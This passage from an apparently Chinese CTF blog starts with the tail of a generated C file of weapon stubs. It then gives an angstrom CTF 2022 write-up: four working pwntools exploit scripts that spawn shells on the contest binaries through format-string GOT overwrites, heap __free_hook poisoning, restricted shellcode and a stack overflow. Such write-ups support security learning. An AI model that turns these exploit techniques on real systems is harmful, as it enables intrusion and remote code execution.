a);</span><br><span class="line">void new_weapon176(int a);</span><br><span class="line">void new_weapon177(int a);</span><br><span class="line">void new_weapon178(int a);</span><br><span class="line">void new_weapon179(int a);</span><br><span class="line">void new_weapon180(int a);</span><br><span class="line">void new_weapon181(int a);</span><br><span class="line">void new_weapon182(int a);</span><br><span class="line">void new_weapon183(int a);</span><br><span class="line">void new_weapon184(int a);</span><br><span class="line">void new_weapon185(int a);</span><br><span class="line">void new_weapon186(int a);</span><br><span class="line">void new_weapon187(int a);</span><br><span class="line">void new_weapon188(int a);</span><br><span class="line">void new_weapon189(int a);</span><br><span class="line">void new_weapon190(int a);</span><br><span class="line">void new_weapon191(int a);</span><br><span class="line">void new_weapon192(int a);</span><br><span class="line">void new_weapon193(int a);</span><br><span class="line">void new_weapon194(int a);</span><br><span class="line">void new_weapon195(int a);</span><br><span class="line">void new_weapon196(int a);</span><br><span class="line">void new_weapon197(int a);</span><br><span class="line">void new_weapon198(int a);</span><br><span class="line">void new_weapon199(int a);</span><br><span class="line">void new_weapon200(int a);</span><br><span class="line">void new_weapon201(int a);</span><br><span class="line">void new_weapon202(int a);</span><br><span class="line">void new_weapon203(int a);</span><br><span class="line">void new_weapon204(int a);</span><br><span class="line">void new_weapon205(int a);</span><br><span class="line">void new_weapon206(int a);</span><br><span class="line">void new_weapon207(int a);</span><br><span class="line">void new_weapon208(int a);</span><br><span class="line">void new_weapon209(int a);</span><br><span class="line">void new_weapon210(int a);</span><br><span class="line">void new_weapon211(int a);</span><br><span class="line">void new_weapon212(int a);</span><br><span class="line">void new_weapon213(int a);</span><br><span class="line">void new_weapon214(int a);</span><br><span class="line">void new_weapon215(int a);</span><br><span class="line">void new_weapon216(int a);</span><br><span class="line">void new_weapon217(int a);</span><br><span class="line">void new_weapon218(int a);</span><br><span class="line">void new_weapon219(int a);</span><br><span class="line">void new_weapon220(int a);</span><br><span class="line">void new_weapon221(int a);</span><br><span class="line">void new_weapon222(int a);</span><br><span class="line">void new_weapon223(int a);</span><br><span class="line">void new_weapon224(int a);</span><br><span class="line">void new_weapon225(int a);</span><br><span class="line">void new_weapon226(int a);</span><br><span class="line">void new_weapon227(int a);</span><br><span class="line">void new_weapon228(int a);</span><br><span class="line">void new_weapon229(int a);</span><br><span class="line">void new_weapon230(int a);</span><br><span class="line">void new_weapon231(int a);</span><br><span class="line">void new_weapon232(int a);</span><br><span class="line">void new_weapon233(int a);</span><br><span class="line">void new_weapon234(int a);</span><br><span class="line">void new_weapon235(int a);</span><br><span class="line">void new_weapon236(int a);</span><br><span class="line">void new_weapon237(int a);</span><br><span class="line">void new_weapon238(int a);</span><br><span class="line">void new_weapon239(int a);</span><br><span class="line">void new_weapon240(int a);</span><br><span class="line">void new_weapon241(int a);</span><br><span class="line">void new_weapon242(int a);</span><br><span class="line">void new_weapon243(int a);</span><br><span class="line">void new_weapon244(int a);</span><br><span class="line">void new_weapon245(int a);</span><br><span class="line">void new_weapon246(int a);</span><br><span class="line">void new_weapon247(int a);</span><br><span class="line">void new_weapon248(int a);</span><br><span class="line">void new_weapon249(int a);</span><br><span class="line">void new_weapon250(int a);</span><br><span class="line">void new_weapon251(int a);</span><br><span class="line">void new_weapon252(int a);</span><br><span class="line">void new_weapon253(int a);</span><br><span class="line">void new_weapon254(int a);</span><br><span class="line">void new_weapon255(int a);</span><br><span class="line">void fight(int a);</span><br><span class="line">void gamestart() {</span><br><span class="line"> new_weapon0(0);</span><br><span class="line"> new_weapon1(1);</span><br><span class="line"> new_weapon2(2);</span><br><span class="line"> new_weapon3(3);</span><br><span class="line"> new_weapon4(4);</span><br><span class="line"> new_weapon5(5);</span><br><span class="line"> new_weapon6(6);</span><br><span class="line"> new_weapon7(7);</span><br><span class="line"> new_weapon8(68);</span><br><span class="line"> new_weapon9(0);</span><br><span class="line"> new_weapon10(10);</span><br><span class="line"> new_weapon11(11);</span><br><span class="line"> new_weapon12(12);</span><br><span class="line"> new_weapon13(13);</span><br><span class="line"> new_weapon14(14);</span><br><span class="line"> new_weapon15(15);</span><br><span class="line"> new_weapon16(16);</span><br><span class="line"> new_weapon17(17);</span><br><span class="line"> new_weapon18(18);</span><br><span class="line"> new_weapon19(19);</span><br><span class="line"> new_weapon20(20);</span><br><span class="line"> new_weapon21(21);</span><br><span class="line"> new_weapon22(22);</span><br><span class="line"> new_weapon23(23);</span><br><span class="line"> new_weapon24(24);</span><br><span class="line"> new_weapon25(25);</span><br><span class="line"> new_weapon26(26);</span><br><span class="line"> new_weapon27(27);</span><br><span class="line"> new_weapon28(28);</span><br><span class="line"> new_weapon29(29);</span><br><span class="line"> new_weapon30(30);</span><br><span class="line"> new_weapon31(31);</span><br><span class="line"> new_weapon32(32);</span><br><span class="line"> new_weapon33(33);</span><br><span class="line"> new_weapon34(34);</span><br><span class="line"> new_weapon35(35);</span><br><span class="line"> new_weapon36(36);</span><br><span class="line"> new_weapon37(37);</span><br><span class="line"> new_weapon38(38);</span><br><span class="line"> new_weapon39(39);</span><br><span class="line"> new_weapon40(40);</span><br><span class="line"> new_weapon41(41);</span><br><span class="line"> new_weapon42(42);</span><br><span class="line"> new_weapon43(43);</span><br><span class="line"> new_weapon44(44);</span><br><span class="line"> new_weapon45(45);</span><br><span class="line"> new_weapon46(46);</span><br><span class="line"> new_weapon47(47);</span><br><span class="line"> new_weapon48(48);</span><br><span class="line"> new_weapon49(49);</span><br><span class="line"> new_weapon50(50);</span><br><span class="line"> new_weapon51(51);</span><br><span class="line"> new_weapon52(52);</span><br><span class="line"> new_weapon53(53);</span><br><span class="line"> new_weapon54(54);</span><br><span class="line"> new_weapon55(55);</span><br><span class="line"> new_weapon56(56);</span><br><span class="line"> new_weapon57(57);</span><br><span class="line"> new_weapon58(58);</span><br><span class="line"> new_weapon59(59);</span><br><span class="line"> new_weapon60(60);</span><br><span class="line"> new_weapon61(61);</span><br><span class="line"> new_weapon62(62);</span><br><span class="line"> new_weapon63(63);</span><br><span class="line"> new_weapon64(64);</span><br><span class="line"> new_weapon65(65);</span><br><span class="line"> new_weapon66(66);</span><br><span class="line"> new_weapon67(67);</span><br><span class="line"> new_weapon68(68);</span><br><span class="line"> new_weapon69(69);</span><br><span class="line"> new_weapon70(70);</span><br><span class="line"> new_weapon71(71);</span><br><span class="line"> new_weapon72(72);</span><br><span class="line"> new_weapon73(73);</span><br><span class="line"> new_weapon74(74);</span><br><span class="line"> new_weapon75(75);</span><br><span class="line"> new_weapon76(76);</span><br><span class="line"> new_weapon77(77);</span><br><span class="line"> new_weapon78(114);</span><br><span class="line"> new_weapon79(105);</span><br><span class="line"> new_weapon80(0);</span><br><span class="line"> new_weapon81(0);</span><br><span class="line"> new_weapon82(0);</span><br><span class="line"> new_weapon83(83);</span><br><span class="line"> new_weapon84(84);</span><br><span class="line"> new_weapon85(0);</span><br><span class="line"> new_weapon86(225);</span><br><span class="line"> new_weapon87(119);</span><br><span class="line"> new_weapon88(0);</span><br><span class="line"> new_weapon89(0);</span><br><span class="line"> new_weapon90(90);</span><br><span class="line"> new_weapon91(91);</span><br><span class="line"> new_weapon92(92);</span><br><span class="line"> new_weapon93(93);</span><br><span class="line"> new_weapon94(94);</span><br><span class="line"> new_weapon95(95);</span><br><span class="line"> new_weapon96(96);</span><br><span class="line"> new_weapon97(97);</span><br><span class="line"> new_weapon98(98);</span><br><span class="line"> new_weapon99(99);</span><br><span class="line"> new_weapon100(100);</span><br><span class="line"> new_weapon101(101);</span><br><span class="line"> new_weapon102(102);</span><br><span class="line"> new_weapon103(103);</span><br><span class="line"> new_weapon104(104);</span><br><span class="line"> new_weapon105(105);</span><br><span class="line"> new_weapon106(106);</span><br><span class="line"> new_weapon107(107);</span><br><span class="line"> new_weapon108(108);</span><br><span class="line"> new_weapon109(109);</span><br><span class="line"> new_weapon110(110);</span><br><span class="line"> new_weapon111(111);</span><br><span class="line"> new_weapon112(112);</span><br><span class="line"> new_weapon113(113);</span><br><span class="line"> new_weapon114(114);</span><br><span class="line"> new_weapon115(115);</span><br><span class="line"> new_weapon116(116);</span><br><span class="line"> new_weapon117(117);</span><br><span class="line"> new_weapon118(118);</span><br><span class="line"> new_weapon119(119);</span><br><span class="line"> new_weapon120(120);</span><br><span class="line"> new_weapon121(121);</span><br><span class="line"> new_weapon122(122);</span><br><span class="line"> new_weapon123(123);</span><br><span class="line"> new_weapon124(124);</span><br><span class="line"> new_weapon125(125);</span><br><span class="line"> new_weapon126(126);</span><br><span class="line"> new_weapon127(127);</span><br><span class="line"> new_weapon128(128);</span><br><span class="line"> new_weapon129(129);</span><br><span class="line"> new_weapon130(130);</span><br><span class="line"> new_weapon131(131);</span><br><span class="line"> new_weapon132(132);</span><br><span class="line"> new_weapon133(133);</span><br><span class="line"> new_weapon134(134);</span><br><span class="line"> new_weapon135(135);</span><br><span class="line"> new_weapon136(136);</span><br><span class="line"> new_weapon137(137);</span><br><span class="line"> new_weapon138(138);</span><br><span class="line"> new_weapon139(139);</span><br><span class="line"> new_weapon140(140);</span><br><span class="line"> new_weapon141(141);</span><br><span class="line"> new_weapon142(142);</span><br><span class="line"> new_weapon143(143);</span><br><span class="line"> new_weapon144(144);</span><br><span class="line"> new_weapon145(145);</span><br><span class="line"> new_weapon146(146);</span><br><span class="line"> new_weapon147(147);</span><br><span class="line"> new_weapon148(148);</span><br><span class="line"> new_weapon149(149);</span><br><span class="line"> new_weapon150(150);</span><br><span class="line"> new_weapon151(151);</span><br><span class="line"> new_weapon152(152);</span><br><span class="line"> new_weapon153(153);</span><br><span class="line"> new_weapon154(154);</span><br><span class="line"> new_weapon155(155);</span><br><span class="line"> new_weapon156(156);</span><br><span class="line"> new_weapon157(157);</span><br><span class="line"> new_weapon158(158);</span><br><span class="line"> new_weapon159(159);</span><br><span class="line"> new_weapon160(160);</span><br><span class="line"> new_weapon161(161);</span><br><span class="line"> new_weapon162(162);</span><br><span class="line"> new_weapon163(163);</span><br><span class="line"> new_weapon164(164);</span><br><span class="line"> new_weapon165(165);</span><br><span class="line"> new_weapon166(166);</span><br><span class="line"> new_weapon167(167);</span><br><span class="line"> new_weapon168(168);</span><br><span class="line"> new_weapon169(169);</span><br><span class="line"> new_weapon170(170);</span><br><span class="line"> new_weapon171(171);</span><br><span class="line"> new_weapon172(172);</span><br><span class="line"> new_weapon173(173);</span><br><span class="line"> new_weapon174(174);</span><br><span class="line"> new_weapon175(175);</span><br><span class="line"> new_weapon176(176);</span><br><span class="line"> new_weapon177(177);</span><br><span class="line"> new_weapon178(178);</span><br><span class="line"> new_weapon179(179);</span><br><span class="line"> new_weapon180(180);</span><br><span class="line"> new_weapon181(181);</span><br><span class="line"> new_weapon182(182);</span><br><span class="line"> new_weapon183(183);</span><br><span class="line"> new_weapon184(184);</span><br><span class="line"> new_weapon185(185);</span><br><span class="line"> new_weapon186(186);</span><br><span class="line"> new_weapon187(187);</span><br><span class="line"> new_weapon188(188);</span><br><span class="line"> new_weapon189(189);</span><br><span class="line"> new_weapon190(190);</span><br><span class="line"> new_weapon191(191);</span><br><span class="line"> new_weapon192(192);</span><br><span class="line"> new_weapon193(193);</span><br><span class="line"> new_weapon194(194);</span><br><span class="line"> new_weapon195(195);</span><br><span class="line"> new_weapon196(196);</span><br><span class="line"> new_weapon197(197);</span><br><span class="line"> new_weapon198(198);</span><br><span class="line"> new_weapon199(199);</span><br><span class="line"> new_weapon200(200);</span><br><span class="line"> new_weapon201(201);</span><br><span class="line"> new_weapon202(202);</span><br><span class="line"> new_weapon203(203);</span><br><span class="line"> new_weapon204(204);</span><br><span class="line"> new_weapon205(205);</span><br><span class="line"> new_weapon206(206);</span><br><span class="line"> new_weapon207(207);</span><br><span class="line"> new_weapon208(208);</span><br><span class="line"> new_weapon209(209);</span><br><span class="line"> new_weapon210(210);</span><br><span class="line"> new_weapon211(211);</span><br><span class="line"> new_weapon212(212);</span><br><span class="line"> new_weapon213(213);</span><br><span class="line"> new_weapon214(214);</span><br><span class="line"> new_weapon215(215);</span><br><span class="line"> new_weapon216(216);</span><br><span class="line"> new_weapon217(217);</span><br><span class="line"> new_weapon218(218);</span><br><span class="line"> new_weapon219(219);</span><br><span class="line"> new_weapon220(220);</span><br><span class="line"> new_weapon221(221);</span><br><span class="line"> new_weapon222(222);</span><br><span class="line"> new_weapon223(223);</span><br><span class="line"> new_weapon224(224);</span><br><span class="line"> new_weapon225(225);</span><br><span class="line"> new_weapon226(226);</span><br><span class="line"> new_weapon227(227);</span><br><span class="line"> new_weapon228(228);</span><br><span class="line"> new_weapon229(229);</span><br><span class="line"> new_weapon230(230);</span><br><span class="line"> new_weapon231(231);</span><br><span class="line"> new_weapon232(232);</span><br><span class="line"> new_weapon233(233);</span><br><span class="line"> new_weapon234(234);</span><br><span class="line"> new_weapon235(235);</span><br><span class="line"> new_weapon236(236);</span><br><span class="line"> new_weapon237(237);</span><br><span class="line"> new_weapon238(238);</span><br><span class="line"> new_weapon239(239);</span><br><span class="line"> new_weapon240(240);</span><br><span class="line"> new_weapon241(241);</span><br><span class="line"> new_weapon242(242);</span><br><span class="line"> new_weapon243(243);</span><br><span class="line"> new_weapon244(244);</span><br><span class="line"> new_weapon245(245);</span><br><span class="line"> new_weapon246(246);</span><br><span class="line"> new_weapon247(247);</span><br><span class="line"> new_weapon248(248);</span><br><span class="line"> new_weapon249(249);</span><br><span class="line"> new_weapon250(250);</span><br><span class="line"> new_weapon251(251);</span><br><span class="line"> new_weapon252(252);</span><br><span class="line"> new_weapon253(253);</span><br><span class="line"> new_weapon254(254);</span><br><span class="line"> new_weapon255(255);</span><br><span class="line"> new_weapon85(0);</span><br><span class="line"> new_weapon86(0);</span><br><span class="line"> new_weapon87(0);</span><br><span class="line"> new_weapon88(0);</span><br><span class="line"> new_weapon89(0);</span><br><span class="line"> new_weapon9(0);</span><br><span class="line"> new_weapon78(0);</span><br><span class="line"> new_weapon79(0);</span><br><span class="line"> new_weapon8(0);</span><br><span class="line"> new_weapon80(0);</span><br><span class="line"> new_weapon81(0);</span><br><span class="line"> new_weapon82(0);</span><br><span class="line"> fight(0);</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</article>
<article itemscope itemtype="http://schema.org/Article" class="post-block" lang="zh-CN">
<link itemprop="mainEntityOfPage" href="http://example.com/2022/05/06/angstrom-ctf-2022/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.gif">
<meta itemprop="name" content="payoung">
<meta itemprop="description" content="ctfer, pwner, programmer">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="payoung's blog">
</span>
<header class="post-header">
<h2 class="post-title" itemprop="name headline">
<a href="/2022/05/06/angstrom-ctf-2022/" class="post-title-link" itemprop="url">angstrom_ctf_2022</a>
</h2>
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar"></i>
</span>
<span class="post-meta-item-text">发表于</span>
<time title="创建时间:2022-05-06 10:40:24 / 修改时间:10:51:00" itemprop="dateCreated datePublished" datetime="2022-05-06T10:40:24+08:00">2022-05-06</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-folder"></i>
</span>
<span class="post-meta-item-text">分类于</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/CTF/" itemprop="url" rel="index"><span itemprop="name">CTF</span></a>
</span>
</span>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<p>做了今年angstrom ctf比赛,pwn里面有道区块链不会,大佬队友做的,其他的不是很难。</p>
<h2 id="caniride"><a href="#caniride" class="headerlink" title="caniride"></a>caniride</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br></pre></td><td class="code"><pre><span class="line">from pwn import *</span><br><span class="line"></span><br><span class="line">context.os = 'linux'</span><br><span class="line">context.arch = 'amd64'</span><br><span class="line">context.log_level = 'debug'</span><br><span class="line">context.terminal = ['/usr/bin/tmux', 'splitw', '-h']</span><br><span class="line">context.binary = 'caniride'</span><br><span class="line"># io = process('caniride')</span><br><span class="line">io = remote('challs.actf.co', 31228)</span><br><span class="line">libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')</span><br><span class="line">elf = ELF('caniride')</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">def pwn():</span><br><span class="line"> # gdb.attach(io, 'b *$rebase(0x13F9)\nb *$rebase(0x147E)\nb main\nc')</span><br><span class="line"> name = b'%105c%16$hhn%17$s'</span><br><span class="line"> io.sendlineafter('Name: ', name)</span><br><span class="line"> io.sendlineafter('Pick your driver: ', '-3')</span><br><span class="line"> io.recvuntil('Hi, this is ')</span><br><span class="line"> elf_base = u64(io.recv(6) + b'\x00\x00') - 0x35a8</span><br><span class="line"> log.success('elf_base: ' + hex(elf_base))</span><br><span class="line"> fini_array = elf_base + 0x3300</span><br><span class="line"> exit_got = elf_base + elf.got['exit']</span><br><span class="line"> printf_got = elf_base + elf.got['printf']</span><br><span class="line"> main = elf_base + elf.sym['main']</span><br><span class="line"> payload = p64(fini_array) + p64(exit_got)</span><br><span class="line"> io.sendlineafter('So... tell me a little about yourself: ', payload)</span><br><span class="line"> libc_base = u64(io.recvuntil(b'\x7f')[-6:] + b'\x00\x00') - libc.sym['exit']</span><br><span class="line"> log.success('libc_base: ' + hex(libc_base))</span><br><span class="line"> system = libc_base + libc.sym['system']</span><br><span class="line"> # one_gadget = libc_base + 0xe3b2e</span><br><span class="line"> name = b''</span><br><span class="line"> cur_size = 0</span><br><span class="line"> for i in range(3):</span><br><span class="line"> target_size = (main >> (i * 16)) & 0xffff</span><br><span class="line"> name += b'%' + str((0x10000 + target_size - cur_size) & 0xffff).encode() + b'c'</span><br><span class="line"> name += b'%' + str(16 + i).encode() + b'$hn'</span><br><span class="line"> cur_size = target_size</span><br><span class="line"> io.sendlineafter('Name: ', name)</span><br><span class="line"> io.sendlineafter('Pick your driver: ', '1')</span><br><span class="line"> payload = b''</span><br><span class="line"> for i in range(0, 6, 2):</span><br><span class="line"> payload += p64(exit_got + i)</span><br><span class="line"> io.sendlineafter('So... tell me a little about yourself: ', payload)</span><br><span class="line"> name = b''</span><br><span class="line"> cur_size = 0</span><br><span class="line"> for i in range(3):</span><br><span class="line"> target_size = (system >> (i * 16)) & 0xffff</span><br><span class="line"> name += b'%' + str((0x10000 + target_size - cur_size) & 0xffff).encode() + b'c'</span><br><span class="line"> name += b'%' + str(16 + i).encode() + b'$hn'</span><br><span class="line"> cur_size = target_size</span><br><span class="line"> io.sendlineafter('Name: ', name)</span><br><span class="line"> io.sendlineafter('Pick your driver: ', '1')</span><br><span class="line"> payload = b''</span><br><span class="line"> for i in range(0, 6, 2):</span><br><span class="line"> payload += p64(printf_got + i)</span><br><span class="line"> io.sendlineafter('So... tell me a little about yourself: ', payload)</span><br><span class="line"> sleep(1)</span><br><span class="line"> io.sendline(b'/bin/sh\x00')</span><br><span class="line"> io.interactive()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">if __name__ == '__main__':</span><br><span class="line"> pwn()</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h2 id="dreams"><a href="#dreams" class="headerlink" title="dreams"></a>dreams</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br></pre></td><td class="code"><pre><span class="line">from pwn import *</span><br><span class="line"></span><br><span class="line">context.os = 'linux'</span><br><span class="line">context.arch = 'amd64'</span><br><span class="line">context.log_level = 'debug'</span><br><span class="line">context.terminal = ['/usr/bin/tmux', 'splitw', '-h']</span><br><span class="line">context.binary = 'dreams'</span><br><span class="line"># io = process('dreams')</span><br><span class="line">io = remote('challs.actf.co', 31227)</span><br><span class="line">libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')</span><br><span class="line">elf = ELF('dreams')</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">def add(idx, data1, data2):</span><br><span class="line"> io.sendlineafter('> ', '1')</span><br><span class="line"> io.sendlineafter('In which page of your mind do you keep this dream? ', str(idx))</span><br><span class="line"> io.sendafter('What\'s the date (mm/dd/yy))? ', data1)</span><br><span class="line"> io.sendafter('what did you dream about? ', data2)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">def delete(idx):</span><br><span class="line"> io.sendlineafter('> ', '2')</span><br><span class="line"> io.sendlineafter('Which one are you trading in? ', str(idx))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">def show_edit(idx, data1):</span><br><span class="line"> io.sendlineafter('> ', '3')</span><br><span class="line"> io.sendlineafter('What dream is giving you trouble? ', str(idx))</span><br><span class="line"> io.recvuntil('It looks like your dream is telling you that ')</span><br><span class="line"> result = io.recvline()[:-1]</span><br><span class="line"> io.sendafter('New date: ', data1)</span><br><span class="line"> return result</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">def pwn():</span><br><span class="line"> MAX_DREAMS = elf.sym['MAX_DREAMS']</span><br><span class="line"> add(0, 'a' * 8, 'a' * 0x14)</span><br><span class="line"> add(1, 'b' * 8, 'b' * 0x14)</span><br><span class="line"> delete(0)</span><br><span class="line"> heap_base = u64(show_edit(0, p64(0)).ljust(8, b'\x00')) - 0x10</span><br><span class="line"> log.success('heap_base: ' + hex(heap_base))</span><br><span class="line"> delete(1)</span><br><span class="line"> show_edit(1, p64(MAX_DREAMS - 8))</span><br><span class="line"> add(2, 'b' * 8, 'b' * 0x14)</span><br><span class="line"> add(3, p64(0), b'\x7f' * 8)</span><br><span class="line"> libc_base = u64(show_edit(3, p64(0))[8:].ljust(8, b'\x00')) - libc.sym['_IO_2_1_stdout_']</span><br><span class="line"> log.success('libc_base: ' + hex(libc_base)) </span><br><span class="line"> __free_hook = libc_base + libc.sym['__free_hook']</span><br><span class="line"> system = libc_base + libc.sym['system']</span><br><span class="line"> add(4, 'c' * 8, 'c' * 0x14)</span><br><span class="line"> delete(4)</span><br><span class="line"> delete(1)</span><br><span class="line"> show_edit(1, p64(__free_hook - 8))</span><br><span class="line"> add(7, 'c' * 8, 'c' * 0x14)</span><br><span class="line"> add(8, b'/bin/sh\x00', p64(system))</span><br><span class="line"> # gdb.attach(io)</span><br><span class="line"> delete(8)</span><br><span class="line"> # pause()</span><br><span class="line"> io.interactive()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">if __name__ == '__main__':</span><br><span class="line"> pwn()</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h2 id="parity"><a href="#parity" class="headerlink" title="parity"></a>parity</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line">from pwn import *</span><br><span class="line"></span><br><span class="line">context.os = 'linux'</span><br><span class="line">context.arch = 'amd64'</span><br><span class="line">context.log_level = 'debug'</span><br><span class="line">context.terminal = ['/usr/bin/tmux', 'splitw', '-h']</span><br><span class="line">context.binary = 'parity'</span><br><span class="line"># io = process('parity')</span><br><span class="line">io = remote('challs.actf.co', 31226)</span><br><span class="line"># libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')</span><br><span class="line">elf = ELF('parity')</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">def pwn():</span><br><span class="line"> sc = '''</span><br><span class="line"> push rdx;</span><br><span class="line"> pop rcx;</span><br><span class="line"> add byte ptr[rcx+10], 1;</span><br><span class="line"> push 0x71;</span><br><span class="line"> pop rdx;</span><br><span class="line"> pop rcx;</span><br><span class="line"> '''</span><br><span class="line"> payload = asm(sc)</span><br><span class="line"> payload += b'\x0e\x05' # fake for syscall \x0f\x05</span><br><span class="line"> for p in payload:</span><br><span class="line"> print(hex(p))</span><br><span class="line"> # gdb.attach(io, 'b *0x4012F5\nc')</span><br><span class="line"> io.sendafter('> ', payload)</span><br><span class="line"> # pause()</span><br><span class="line"> sleep(0.2)</span><br><span class="line"> payload = b'a' * 0xc + asm(shellcraft.sh())</span><br><span class="line"> io.sendline(payload)</span><br><span class="line"> # pause()</span><br><span class="line"> io.interactive()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">if __name__ == '__main__':</span><br><span class="line"> pwn()</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h2 id="really-obnoxious-problem"><a href="#really-obnoxious-problem" class="headerlink" title="really obnoxious problem"></a>really obnoxious problem</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">from pwn import *</span><br><span class="line"></span><br><span class="line">context.os = 'linux'</span><br><span class="line">context.arch = 'amd64'</span><br><span class="line">context.log_level = 'debug'</span><br><span class="line">context.terminal = ['/usr/bin/tmux', 'splitw', '-h']</span><br><span class="line">context.binary = 'really_obnoxious_problem'</span><br><span class="line"># io = process('really_obnoxious_problem')</span><br><span class="line">io = remote('challs.actf.co', 31225)</span><br><span class="line"># libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')</span><br><span class="line">elf = ELF('really_obnoxious_problem')</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">def pwn():</span><br><span class="line"> io.sendlineafter('Name: ', 'payoung')</span><br><span class="line"> payload = cyclic(0x40) + p64(0x404e00) + p64(0x40129D)</span><br><span class="line"> # gdb.attach(io)</span><br><span class="line"> io.sendlineafter('Address: ', payload)</span><br><span class="line"> # pause()</span><br><span class="line"> io.interactive()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">if __name__ == '__main__':</span><br><span class="line"> 